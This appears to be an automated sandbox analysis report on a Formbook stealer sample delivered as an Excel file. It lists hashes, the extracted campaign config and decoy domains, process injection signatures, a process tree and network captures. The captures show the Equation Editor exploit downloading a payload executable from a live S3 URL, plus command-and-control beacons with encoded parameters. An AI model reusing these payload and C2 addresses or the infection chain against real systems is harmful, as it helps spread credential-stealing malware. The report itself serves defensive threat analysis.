formbook | c4036ae358676bba732bcb78f6f2768b7076074dff7eec3a74d745dc065e58a5

Analysis

max time kernel
59s
max time network
59s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10/01/2025, 21:00 UTC

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General

Target

c4036ae358676bba732bcb78f6f2768b7076074dff7eec3a74d745dc065e58a5.xlsx
Size

1.8MB
MD5

c3955c311b951719d7ab4985314fbab0
SHA1

f48587590c94133e1f33f10b4da85c5ae151da09
SHA256

c4036ae358676bba732bcb78f6f2768b7076074dff7eec3a74d745dc065e58a5
SHA512

aeba2ac07f89ee650a169e15121c8bcd08cfe77ee5958cec0fe5bc59da27097318413900bfdd31a29e2c21756f19bfd5bc51dac01211cad75eeff1797121b858
SSDEEP

49152:yKHGYSIGQZnSCR0JfTfDZMsSdg3e8mr+0sUj:BHfSb7bZjD0su

Score

10^/10

formbook hwu6 discovery rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

hwu6

Decoy

lf758.vip

locerin-hair.shop

vytech.net

pet-insurance-intl-7990489.live

thepolithat.buzz

d66dr114gl.bond

suv-deals-49508.bond

job-offer-53922.bond

drstone1.click

lebahsemesta57.click

olmanihousel.shop

piedmontcsb.info

trisula888x.top

66sodovna.net

dental-implants-83810.bond

imxtld.club

frozenpines.net

ffgzgbl.xyz

tlc7z.rest

alexismuller.design

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Formbook family
formbook

Formbook payload 3 IoCs

rat

resource	yara_rule
behavioral1/memory/2760-13-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/2760-17-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1680-20-0x0000000000090000-0x00000000000BF000-memory.dmp	formbook

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3048	EQNEDT32.EXE

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2764	word.exe

Loads dropped DLL 1 IoCs

pid	Process
3048	EQNEDT32.EXE

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0007000000015ce4-6.dat	autoit_exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2764 set thread context of 2760	2764	word.exe	34
PID 2760 set thread context of 1208	2760	svchost.exe	21
PID 2760 set thread context of 1208	2760	svchost.exe	21
PID 1680 set thread context of 1208	1680	cmstp.exe	21

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	word.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmstp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
3048	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2548	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe
1680	cmstp.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2764	word.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
2760	svchost.exe
1680	cmstp.exe
1680	cmstp.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	svchost.exe
Token: SeDebugPrivilege	1680	cmstp.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2764	word.exe
2764	word.exe
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2764	word.exe
2764	word.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2548	EXCEL.EXE
2548	EXCEL.EXE
2548	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 2764	3048	EQNEDT32.EXE	32
PID 3048 wrote to memory of 2764	3048	EQNEDT32.EXE	32
PID 3048 wrote to memory of 2764	3048	EQNEDT32.EXE	32
PID 3048 wrote to memory of 2764	3048	EQNEDT32.EXE	32
PID 2764 wrote to memory of 2760	2764	word.exe	34
PID 2764 wrote to memory of 2760	2764	word.exe	34
PID 2764 wrote to memory of 2760	2764	word.exe	34
PID 2764 wrote to memory of 2760	2764	word.exe	34
PID 2764 wrote to memory of 2760	2764	word.exe	34
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1208 wrote to memory of 1680	1208	Explorer.EXE	60
PID 1680 wrote to memory of 2812	1680	cmstp.exe	61
PID 1680 wrote to memory of 2812	1680	cmstp.exe	61
PID 1680 wrote to memory of 2812	1680	cmstp.exe	61
PID 1680 wrote to memory of 2812	1680	cmstp.exe	61

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
  "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\c4036ae358676bba732bcb78f6f2768b7076074dff7eec3a74d745dc065e58a5.xlsx
  2⤵
  - System Location Discovery: System Language Discovery
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2548
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2972
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1740
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2756
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2664
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2732
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1056
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2792
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2620
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2628
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2636
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2668
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2696
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2740
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2012
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2200
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1852
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2680
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2264
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2428
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2660
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1960
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:2580
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1640
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:972
- C:\Windows\SysWOW64\autochk.exe
  "C:\Windows\SysWOW64\autochk.exe"
  2⤵
  PID:1492
- C:\Windows\SysWOW64\cmstp.exe
  "C:\Windows\SysWOW64\cmstp.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\SysWOW64\svchost.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2812

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Users\Admin\AppData\Roaming\word.exe
  C:\Users\Admin\AppData\Roaming\word.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\SysWOW64\svchost.exe
    C:\Users\Admin\AppData\Roaming\word.exe
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    PID:2760

Network

DNS

combo.s3.eu-north-1.amazonaws.com

EQNEDT32.EXE

Remote address:

8.8.8.8:53

Request

combo.s3.eu-north-1.amazonaws.com

IN A

Response

combo.s3.eu-north-1.amazonaws.com

IN CNAME

s3-r-w.eu-north-1.amazonaws.com

s3-r-w.eu-north-1.amazonaws.com

IN A

52.95.171.76

s3-r-w.eu-north-1.amazonaws.com

IN A

16.12.10.22
GET

http://combo.s3.eu-north-1.amazonaws.com/bukron2.1.exe

EQNEDT32.EXE

Remote address:

52.95.171.76:80

Request

GET /bukron2.1.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: combo.s3.eu-north-1.amazonaws.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

x-amz-id-2: fcrzIT4n7C76q8qgcnP8sCbV0E1hUABWoTq8cTsVpJhn4c/S1F5KiNgg+d+l0hc/DcJlkU9QqpQ=
x-amz-request-id: JSRF9PM4KF9BQT51
Date: Fri, 10 Jan 2025 21:01:04 GMT
Last-Modified: Fri, 10 Jan 2025 12:28:41 GMT
ETag: "2691aa078c8eff65b38f3c0ca7f6762a"
x-amz-server-side-encryption: AES256
Accept-Ranges: bytes
Content-Type: application/x-msdownload
Content-Length: 1789952
Server: AmazonS3
DNS

www.piedmontcsb.info

Explorer.EXE

Remote address:

8.8.8.8:53

Request

www.piedmontcsb.info

IN A

Response

www.piedmontcsb.info

IN CNAME

cdn1.wixdns.net

cdn1.wixdns.net

IN CNAME

td-ccm-neg-87-45.wixdns.net

td-ccm-neg-87-45.wixdns.net

IN A

34.149.87.45
GET

http://www.piedmontcsb.info/hwu6/?LbCdXj=X9k0PT1Gf0+cIC9mciL9gJrAB1wQ4wWHrUEzn+ko0CLlw0uETlchFpHGI/1JJCBo&FHB=KTut_Fp8

Explorer.EXE

Remote address:

34.149.87.45:80

Request

GET /hwu6/?LbCdXj=X9k0PT1Gf0+cIC9mciL9gJrAB1wQ4wWHrUEzn+ko0CLlw0uETlchFpHGI/1JJCBo&FHB=KTut_Fp8 HTTP/1.1
Host: www.piedmontcsb.info
Connection: close

Response

HTTP/1.1 301 Moved Permanently

Content-Length: 0
Location: https://www.piedmontcsb.info/hwu6/?LbCdXj=X9k0PT1Gf0+cIC9mciL9gJrAB1wQ4wWHrUEzn+ko0CLlw0uETlchFpHGI/1JJCBo&FHB=KTut_Fp8
Accept-Ranges: bytes
Date: Fri, 10 Jan 2025 21:01:41 GMT
X-Served-By: cache-lhr-egll1980068-LHR
X-Cache: MISS
X-Wix-Request-Id: 1736542901.525031357645649182
X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,REmTqJKTo7BM/eF7JdTbUrxkNjrXdwdgtu6E0yACibU=
Via: 1.1 google
glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
Connection: close
DNS

www.lebahsemesta57.click

Explorer.EXE

Remote address:

8.8.8.8:53

Request

www.lebahsemesta57.click

IN A

Response

www.lebahsemesta57.click

IN CNAME

lebahsemesta57.click

lebahsemesta57.click

IN A

198.252.111.49
GET

http://www.lebahsemesta57.click/hwu6/?LbCdXj=ODu4ekQErLK+QsfnwnIo8nVNut1O1Z6HvIcExxV1S9nCtnscp7Z+sMJrXD1ehaQA&FHB=KTut_Fp8

Explorer.EXE

Remote address:

198.252.111.49:80

Request

GET /hwu6/?LbCdXj=ODu4ekQErLK+QsfnwnIo8nVNut1O1Z6HvIcExxV1S9nCtnscp7Z+sMJrXD1ehaQA&FHB=KTut_Fp8 HTTP/1.1
Host: www.lebahsemesta57.click
Connection: close

Response

HTTP/1.1 404 Not Found

Connection: close
cache-control: private, no-cache, no-store, must-revalidate, max-age=0
pragma: no-cache
content-type: text/html
content-length: 796
date: Fri, 10 Jan 2025 21:01:57 GMT
server: LiteSpeed

52.95.171.76:80

http://combo.s3.eu-north-1.amazonaws.com/bukron2.1.exe

http

EQNEDT32.EXE

47.5kB
1.8MB
939
1328

HTTP Request

GET http://combo.s3.eu-north-1.amazonaws.com/bukron2.1.exe

HTTP Response

200
34.149.87.45:80

http://www.piedmontcsb.info/hwu6/?LbCdXj=X9k0PT1Gf0+cIC9mciL9gJrAB1wQ4wWHrUEzn+ko0CLlw0uETlchFpHGI/1JJCBo&FHB=KTut_Fp8

http

Explorer.EXE

438 B
738 B
6
5

HTTP Request

GET http://www.piedmontcsb.info/hwu6/?LbCdXj=X9k0PT1Gf0+cIC9mciL9gJrAB1wQ4wWHrUEzn+ko0CLlw0uETlchFpHGI/1JJCBo&FHB=KTut_Fp8

HTTP Response

301
198.252.111.49:80

http://www.lebahsemesta57.click/hwu6/?LbCdXj=ODu4ekQErLK+QsfnwnIo8nVNut1O1Z6HvIcExxV1S9nCtnscp7Z+sMJrXD1ehaQA&FHB=KTut_Fp8

http

Explorer.EXE

396 B
1.2kB
5
5

HTTP Request

GET http://www.lebahsemesta57.click/hwu6/?LbCdXj=ODu4ekQErLK+QsfnwnIo8nVNut1O1Z6HvIcExxV1S9nCtnscp7Z+sMJrXD1ehaQA&FHB=KTut_Fp8

HTTP Response

404

8.8.8.8:53

combo.s3.eu-north-1.amazonaws.com

dns

EQNEDT32.EXE

79 B
132 B
1
1

DNS Request

combo.s3.eu-north-1.amazonaws.com

DNS Response

52.95.171.76

16.12.10.22
8.8.8.8:53

www.piedmontcsb.info

dns

Explorer.EXE

66 B
142 B
1
1

DNS Request

www.piedmontcsb.info

DNS Response

34.149.87.45
8.8.8.8:53

www.lebahsemesta57.click

dns

Explorer.EXE

70 B
100 B
1
1

DNS Request

www.lebahsemesta57.click

DNS Response

198.252.111.49

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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\Users\Admin\AppData\Roaming\word.exe

Filesize
1.7MB

MD5
2691aa078c8eff65b38f3c0ca7f6762a

SHA1
ba445b8fbb17de03e4d6baf1fd8e3d6552e70c50

SHA256
8eddb8196477fb5ea33d35eb1be98c68c1ca60847a3e79043a25aee0dde889c0

SHA512
a2cd17eb6ad5de1e5e58823ce87082a8be8b47e9725343039b51d32467910d322dea73af0d6168e8ac5b27c7fc3f23319854850eb81457b187868ee4ca3ecb22

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memory/1208-15-0x0000000003F90000-0x0000000004190000-memory.dmp

Filesize
2.0MB

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memory/1208-24-0x00000000050A0000-0x00000000051CD000-memory.dmp

Filesize
1.2MB

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memory/1680-19-0x00000000005E0000-0x00000000005F8000-memory.dmp

Filesize
96KB

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memory/1680-20-0x0000000000090000-0x00000000000BF000-memory.dmp

Filesize
188KB

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memory/2548-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

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memory/2548-1-0x000000007246D000-0x0000000072478000-memory.dmp

Filesize
44KB

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memory/2548-16-0x000000007246D000-0x0000000072478000-memory.dmp

Filesize
44KB

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memory/2760-13-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

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memory/2760-17-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

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Analysis

Sharing

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Malware Config

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Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

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DNS Request

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MITRE ATT&CK Enterprise v15

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